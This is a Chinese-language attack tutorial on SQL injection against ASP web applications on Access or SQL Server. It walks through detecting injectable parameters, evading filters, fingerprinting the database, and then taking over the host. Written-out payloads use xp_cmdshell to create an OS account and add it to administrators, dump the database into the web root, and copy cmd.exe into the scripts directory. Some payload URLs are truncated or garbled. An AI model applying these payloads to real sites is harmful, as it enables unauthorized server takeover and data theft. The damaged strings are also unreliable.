SQL 注入攻擊是黑客對數(shù)據(jù)庫進(jìn)行攻擊的常用手段之一。隨著 B/S 模式應(yīng)用開發(fā)的發(fā) 展,使用這種模式編寫應(yīng)用程序的程序員也越來越多。但是由于程序員的水平及經(jīng)驗(yàn)也參差 不齊,相當(dāng)大一部分程序員在編寫代碼的時(shí)候,沒有對用戶輸入數(shù)據(jù)的合法性進(jìn)行判斷,使 應(yīng)用程序存在安全隱患。用戶可以提交一段數(shù)據(jù)庫查詢代碼,根據(jù)程序返回的結(jié)果,獲得某 些他想得知的數(shù)據(jù),這就是所謂的 SQL Injection,即 SQL 注入。SQL 注入是從正常的 WWW 端口訪問,而且表面看起來跟一般的 Web 頁面訪問沒什么區(qū)別,所以目前市面的防火墻都 不會(huì)對 SQL 注入發(fā)出警報(bào),如果管理員沒查看 IIS 日志的習(xí)慣,可能被入侵很長時(shí)間都不會(huì) 發(fā)覺。但是,SQL 注入的手法相當(dāng)靈活,在注入的時(shí)候會(huì)碰到很多意外的情況,需要構(gòu)造 巧妙的 SQL 語句,從而成功獲取想要的數(shù)據(jù)。
SQL 注入攻擊的總體思路
- 發(fā)現(xiàn) SQL 注入位置;
- 判斷后臺(tái)數(shù)據(jù)庫類型;
- 確定 XP_CMDSHELL 可執(zhí)行情況 發(fā)現(xiàn) WEB 虛擬目錄
- 上傳 ASP 木馬;
- 得到管理員權(quán)限。
SQL 注入攻擊的步驟
一、SQL 注入漏洞的判斷
一般來說,SQL 注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX 等帶有參 數(shù)的 ASP 動(dòng)態(tài)網(wǎng)頁中,有時(shí)一個(gè)動(dòng)態(tài)網(wǎng)頁中可能只有一個(gè)參數(shù),有時(shí)可能有 N 個(gè)參數(shù),有 時(shí)是整型參數(shù),有時(shí)是字符串型參數(shù),不能一概而論。總之只要是帶有參數(shù)的動(dòng)態(tài)網(wǎng)頁且此 網(wǎng)頁訪問了數(shù)據(jù)庫,那么就有可能存在 SQL 注入。如果 ASP 程序員沒有安全意識(shí),不進(jìn)行必要的字符過濾,存在 SQL 注入的可能性就非常大。
為了全面了解動(dòng)態(tài)網(wǎng)頁回答的信息,首選請調(diào)整 IE 的配置。把 IE 菜單-工具-Internet 選項(xiàng)-高級(jí)-顯示友好 HTTP 錯(cuò)誤信息前面的勾去掉。
為了把問題說明清楚,以下以 HTTP://xxx.xxx.xxx/abc.asp?p=YY 為例進(jìn)行分析,YY 可能 是整型,也有可能是字符串。
1、整型參數(shù)的判斷
當(dāng)輸入的參數(shù) YY 為整型時(shí),通常 abc.asp 中 SQL 語句原貌大致如下:
select * from 表名 where 字段=YY,所以可以用以下步驟測試 SQL 注入是否存在。 1HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一個(gè)單引號(hào)),此時(shí) abc.ASP 中的 SQL 語句 變成了
select * from 表名 where 字段=YY’,abc.asp 運(yùn)行異常;
2 HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp 運(yùn) 行 正 常 , 而 且 與 HTTP://xxx.xxx.xxx/abc.asp?p=YY 運(yùn)行結(jié)果相同; 3HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp 運(yùn)行異常; 如果以上三步全面滿足,abc.asp 中一定存在 SQL 注入漏洞。
2、字符串型參數(shù)的判斷
當(dāng)輸入的參數(shù) YY 為字符串時(shí),通常 abc.asp 中 SQL 語句原貌大致如下:
select * from 表名 where 字段='YY',所以可以用以下步驟測試 SQL 注入是否存在。
HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一個(gè)單引號(hào)),此時(shí) abc.ASP 中的 SQL 語句 變成了select * from 表名 where 字段=YY’,abc.asp 運(yùn)行異常;
HTTP://xxx.xxx.xxx/abc.asp?p=YY&;nb ... 39;1'='1', abc.asp 運(yùn) 行 正 常 , 而 且 與 HTTP://xxx.xxx.xxx/abc.asp?p=YY 運(yùn)行結(jié)果相同;
HTTP://xxx.xxx.xxx/abc.asp?p=YY&;nb ... 39;1'='2', abc.asp 運(yùn)行異常; 如果以上三步全面滿足,abc.asp 中一定存在 SQL 注入漏洞。
3、特殊情況的處理
有時(shí) ASP 程序員會(huì)在程序員過濾掉單引號(hào)等字符,以防止 SQL 注入。此時(shí)可以用以下幾種 方法試一試。
1大小定混合法:由于 VBS 并不區(qū)分大小寫,而程序員在過濾時(shí)通常要么全部過濾大寫字 符串,要么全部過濾小寫字符串,而大小寫混合往往會(huì)被忽視。如用 SelecT 代替 select,SELECT 等;
2UNICODE 法:在 IIS 中,以 UNICODE 字符集實(shí)現(xiàn)國際化,我們完全可以 IE 中輸入的字 符串化成 UNICODE 字符串進(jìn)行輸入。如+ =%2B,空格=%20 等;URLEncode 信息參見 附件一;
3ASCII 碼法:可以把輸入的部分或全部字符全部用 ASCII 碼代替,如 U=chr(85),a=chr(97) 等,ASCII 信息參見附件二;
二、分析數(shù)據(jù)庫服務(wù)器類型
一般來說,ACCESS 與 SQL-SERVER 是最常用的數(shù)據(jù)庫服務(wù)器,盡管它們都支持 T-SQL 標(biāo)準(zhǔn),但還有不同之處,而且不同的數(shù)據(jù)庫有不同的攻擊方法,必須要區(qū)別對待。
- 利用數(shù)據(jù)庫服務(wù)器的系統(tǒng)變量進(jìn)行區(qū)分
SQL-SERVER 有 user,db_name()等系統(tǒng)變量,利用這些系統(tǒng)值不僅可以判斷 SQL-SERVER,而且還可以得到大量有用信息。如:
1 HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不僅可以判斷是否是 SQL-SERVER, 而還可以得到當(dāng)前連接到數(shù)據(jù)庫的用戶名
2 HTTP://xxx.xxx.xxx/abc.asp?p=YY&;n ... db_name()>0 不 僅 可 以 判 斷 是 否 是 SQL-SERVER,而還可以得到當(dāng)前正在使用的數(shù)據(jù)庫名;
ACCESS 的系統(tǒng)表是 msysobjects,且在 WEB 環(huán)境下沒有訪問權(quán)限,而 SQL-SERVER 的系 統(tǒng)表是 sysobjects,在 WEB 環(huán)境下有訪問權(quán)限。對于以下兩條語句: 1HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0 2HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0 若數(shù)據(jù)庫是 SQL-SERVE,則第一條,abc.asp 一定運(yùn)行正常,第二條則異常;若是 ACCESS 則兩條都會(huì)異常。
-
MSSQL 三個(gè)關(guān)鍵系統(tǒng)表
sysdatabases 系統(tǒng)表:Microsoft SQL Server 上的每個(gè)數(shù)據(jù)庫在表中占一行。最初安裝 SQL Server 時(shí),sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 數(shù)據(jù)庫的項(xiàng)。該表只存儲(chǔ)在 master 數(shù)據(jù)庫中。這個(gè)表保存在 master 數(shù)據(jù)庫中,這個(gè)表 中保存的是什么信息呢?這個(gè)非常重要。他是保存了所有的庫名,以及庫的 ID 和一些相關(guān)信 息。
這里我把對于我們有用的字段名稱和相關(guān)說明給大家列出來。name //表示庫的名字。 dbid //表示庫的 ID,dbid 從 1 到 5 是系統(tǒng)的。分別是:master、model、msdb、mssqlweb、 tempdb 這五個(gè)庫。用 select * from master.dbo.sysdatabases 就可以查詢出所有的庫 名。
Sysobjects:SQL-SERVER 的每個(gè)數(shù)據(jù)庫內(nèi)都有此系統(tǒng)表,它存放該數(shù)據(jù)庫內(nèi)創(chuàng)建的所有對 象,如約束、默認(rèn)值、日志、規(guī)則、存儲(chǔ)過程等,每個(gè)對象在表中占一行。
syscolumns:每個(gè)表和視圖中的每列在表中占一行,存儲(chǔ)過程中的每個(gè)參數(shù)在表中也占一 行。該表位于每個(gè)數(shù)據(jù)庫中。主要字段有:name ,id, colid :分別是字段名稱,表 ID 號(hào),字段 ID 號(hào),其中的 ID 是剛上我們用 sysobjects 得到的表的 ID 號(hào)。 用:select*fromChouYFD.dbo.syscolumnswhereid=123456789 得到ChouYFD這個(gè) 庫中,表的 ID 是 123456789 中的所有字段列表。
三、確定 XP_CMDSHELL 可執(zhí)行情況
若當(dāng)前連接數(shù)據(jù)的帳號(hào)具有 SA 權(quán)限,且 master.dbo.xp_cmdshell 擴(kuò)展存儲(chǔ)過程(調(diào)用此 存儲(chǔ)過程可以直接使用操作系統(tǒng)的 shell)能夠正確執(zhí)行,則整個(gè)計(jì)算機(jī)可以通過以下幾種方 法完全控制,以后的所有步驟都可以省
- HTTP://xxx.xxx.xxx/abc.asp?p=YY&;nb ... er>0 abc.asp 執(zhí)行異常但可以得到當(dāng)前連 接數(shù)據(jù)庫的用戶名(若顯示 dbo 則代表 SA)。
- HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp 執(zhí)行異常但可以得到當(dāng)前連接 的數(shù)據(jù)庫名。
- HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”-- (master 是 SQL-SERVER 的主數(shù)據(jù)庫;名中的分號(hào)表示 SQL-SERVER 執(zhí)行完分號(hào) 前的語句名,繼續(xù)執(zhí)行其后面的語句;“—”號(hào)是注解,表示其后面的所有內(nèi)容僅為注釋, 系統(tǒng)并不執(zhí)行)可以直接增加操作系統(tǒng)帳戶 aaa,密碼為 bbb。
- HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把剛剛增加的帳戶 aaa 加到 administrators 組中。
- HTTP://xxx.xxx.xxx/abc.asp?p=YY ; backuup database 數(shù) 據(jù) 庫 名 to disk='c:\inetpub\wwwroot\save.db' 則把得到的數(shù)據(jù)內(nèi)容全部備份到 WEB 目錄下,再 用 HTTP 把此文件下載(當(dāng)然首選要知道 WEB 虛擬目錄)。
- 通過復(fù)制 CMD 創(chuàng)建 UNICODE 漏洞
- HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell “ copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe ” 便 制 造 了 一 個(gè) UNICODE 漏洞,通過此漏洞的利用方法,便完成了對整個(gè)計(jì)算機(jī)的控制(當(dāng)然首選要知道 WEB 虛擬目錄)